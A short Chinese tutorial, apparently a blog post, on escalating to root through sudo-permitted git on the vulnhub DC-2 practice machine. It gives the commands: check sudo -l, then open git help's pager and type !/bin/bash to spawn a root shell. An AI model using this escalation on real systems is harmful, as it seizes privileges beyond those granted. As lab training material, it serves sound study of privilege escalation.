git提权

实验环境------vulnhub-dc2靶场

git提权

前提:用户可以使用sudo中git权限

查看sudo权限

bash 复制代码
sudo -l

可以发现git命令存在sudo提权

基于此进行权限提升

方式:

bash 复制代码
sudo git help config #在末行命令模式输入 
!/bin/bash 或 !'sh' #完成提权 
sudo git -p help 
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

输入sudo git help config后会有一个很长的文本,在此基础上,按下: ,在输入!/bin/bash

然后按q退出,再输出sudo git -p help命令,同上输入!/bin/bash

...(img-S18YuqYP-1705661673078)]

相关推荐
bigHead-2 小时前
Git 修改远程仓库地址的几种方法
git
杀手不太冷!3 小时前
Jenkins的安装与使用;git clone url的时候,url为http和ssh时候的区别
git·http·jenkins
qq_229058013 小时前
GIT使用方法
git
YMGogre4 小时前
Git 多人协作开发
git
凯子坚持 c13 小时前
Git 多人协作深度解析:从工作流模拟到仓库维护
git
要站在顶端15 小时前
克隆大型仓库卡住(7%每次就卡住了)
git
五月底_16 小时前
上传大量文件到github repo
git·github
rannn_1111 天前
【Git教程】概述、常用命令、Git-IDEA集成
java·git·后端·intellij-idea
春日见1 天前
虚拟机上由于网络问题无法正常git clone
linux·服务器·网络·人工智能·git·ubuntu·debug
冉佳驹1 天前
Linux ——— Git的核心操作流程、进程状态及环境变量相关知识
linux·git·进程·环境变量·进程状态·fork